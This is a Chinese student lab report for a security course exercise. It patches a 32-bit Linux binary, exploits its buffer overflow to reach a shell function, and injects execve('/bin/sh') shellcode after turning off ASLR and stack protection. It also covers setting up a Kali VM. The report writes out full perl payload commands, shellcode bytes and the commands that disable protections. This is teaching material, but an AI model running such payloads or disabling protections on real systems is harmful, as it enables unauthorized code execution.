2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M
目录
实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（0.5分）
掌握反汇编与十六进制编程器 (0.5分)
能正确修改机器指令改变程序执行流程（0.5分）
能正确构造payload进行bof攻击（0.5分）
实验内容
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数
注入一个自己制作的shellcode并运行这段shellcode
预备知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道（|），输入、输出重定向（>）等
- 理解Bof的原理
- 能看得懂汇编、机器指令、EIP、指令地址
- 会使用gdb,vi
实验步骤
0 准备工作：macOS下Parallels Desktop安装Kali Linux虚拟机及相关配置
- 记得一定要选Graphical install（图形界面安装）哦～
- 安装完成～
- 安装Parallels Tools：
- 安装32位运行库：用命令
apt-get install lib32ncurses5
1 逆向及Bof基础实践
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
三个实践内容如下：
- 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
- 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
1.2 基础知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道（|），输入、输出重定向（>）等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
2 直接修改程序机器指令，改变程序执行流程
知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术
- 下载目标文件pwn1,用
objdump -d pwn1命令进行反汇编：
- 先看第12行，
call 8048491 <foo>是汇编指令- 是说这条指令将调用位于地址
8048491处的foo函数； - 其对应机器指令为
e8 d7ffffff，e8即跳转之意- 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即
80484ba，但如一解释e8这条指令呢，CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值，
- 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即
- 是说这条指令将调用位于地址
- main函数调用foo，对应机器指令为
e8 d7ffffff，- 那我们想让它调用getShell，只要修改
d7ffffff为getShell-80484ba对应的补码就行 - 用Windows计算器，直接47d-4ba就能得到补码，是
c3ffffff
- 那我们想让它调用getShell，只要修改
- 先看第12行，
- 修改可执行文件，将其中的call指令的目标地址由
d7ffffff变为c3ffffff：vim pwn1
esc->:%!xxd将显示模式切换为16进制模式：
/e8d7查找要修改的内容
- 找到后前后的内容和反汇编的对比下，确认是地方是正确的
- 修改d7为c3
:%!xxd -r转换16进制为原格式:wq存盘退出vim- 再用
objdump -d pwn1命令反汇编看一下，call指令是否正确调用getShell：
./pwn1运行改后的代码，会得到shell提示符#：
3 通过构造输入参数，造成BOF攻击，改变程序执行流
知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术
3.1 反汇编，了解程序的基本功能
- 用
objdump -d pwn1命令反汇编：
- 我们的目标是触发函数getShell
- 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
- 函数foo中的mov(804849a)读入字符串，但系统只预留了
32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 - 函数main中的call调用函数foo，同时在堆栈上压上返回地址值:
80484ae
3.2 确认输入字符串哪几个字符会覆盖到返回地址
如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址，输入给pwn1，pwn1就会运行getShell
3.3 确认用什么值来覆盖返回地址
getShell的内存地址，通过反汇编时可以看到，即0804847d
接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08
对比之前eip 0x343332310x34333231，正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
3.4 构造输入字符串
由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以需要先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
关于Perl：
Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。
同时，可以使用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input的输入，通过管道符“|”，作为pwn1的输入。
4 注入Shellcode并执行
4.1 准备一段Shellcode
- shellcode就是一段机器指令（code）
- 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
- 所以这段机器指令被称为shellcode。
- 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
最基本的shellcode的编写可参考学姐的文章Shellcode入门，写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下：
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\关于更多Shellcode的知识，请参考Shellcode基础。
4.2 准备工作
注意：以下实践是在非常简单的一个预设条件下完成的：
- 关闭堆栈保护（gcc -fno-stack-protector）
- 关闭堆栈执行保护(execstack -s)
- 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
- 在x32环境下
- 在Linux实践环境
因此修改设置如下：
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
4.3 构造要注入的payload
- Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcodenop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面，简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
- 我们这个buf足够大，够放这个shellcode了，但吸取老师的教训，这里选择结构
nop+shellcode+retaddr- nop一为是了填充，二是作为“着陆区/滑行区”
- 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode
- 使用命令
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode注入，其中前面32个A用来填满缓冲区buf，\x04\x03\x02\x01为预留的返回地址retaddr：
- 接下来确定\x4\x3\x2\x1到底该填什么：
- 打开一个终端注入这段攻击buf：
(cat input_shellcode;cat) | ./pwn1
- 再开另外一个终端，用gdb来调试pwn1这个进程：
- 用
ps -ef | grep pwn1命令找到pwn1的进程号是：9489：
- 用
gdb、attach 9489命令启动gdb调试这个进程：
- 用
disassemble foo命令反汇编，通过设置断点，来查看注入buf的内存地址：
- 用
break *0x080484ae命令设置断点，输入c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址：
- 用
x/16x 0xffffd27c命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd280：
- 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命令
perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode：
- 再用
(cat input_shellcode;cat) | ./pwn1命令次执行程序，攻击成功！如下图：
- 用
- 打开一个终端注入这段攻击buf：
实验中遇到的问题及解决过程
macOS下Parallels Desktop安装Parallels Tools失败
试了很多次，也盲目重启了很多次Kali（它提示让我重启的不怪我），不过用图形界面安装时每次到10%就会卡住然后提示失败:(
原因分析
用Parallels Desktop安装Kali时，安装Parallels Tools能提升虚拟机的性能（如共享剪贴板等），但必须更新镜像，确保所有软件包的依赖都完整，否则会提示内核需要更新等问题。因此首先需要更新镜像!!!
解决方案
- 打开终端，用
su命令切换到root（Kali用户默认root） - 用vim打开source.list：
vim /etc/apt/sources.list - 编辑source.list，添加镜像源
deb https://https.kali.org/kali kali-rolling main contrib non-free到文件中并保存退出 - 依次输入以下命令：
apt-get clean
apt-get update
apt-get upgrade -y
apt-get dist-upgrade -y
apt-get install dkms kpartx printer-driver-postscript-hp - 重启Kali Linux虚拟机
- 在终端中输入命令：
eject /dev/cdrom推出Parallel Tools安装工具 - 在Kali Linux虚拟机菜单栏选择：
操作->安装 Parallel Tools - 依次输入以下命令：
mkdir /media/pt
mkdir /root/Desktop/pt
mount /dev/cdrom /media/pt
cp -r /media/pt/ /root/Desktop/pt
cd /root/Desktop/pt/pt
./install - 重启Kali Linux虚拟机，安装完成:)
可以看到此时已经能从主机直接拖文件进Kali虚拟机了（共享剪贴板）
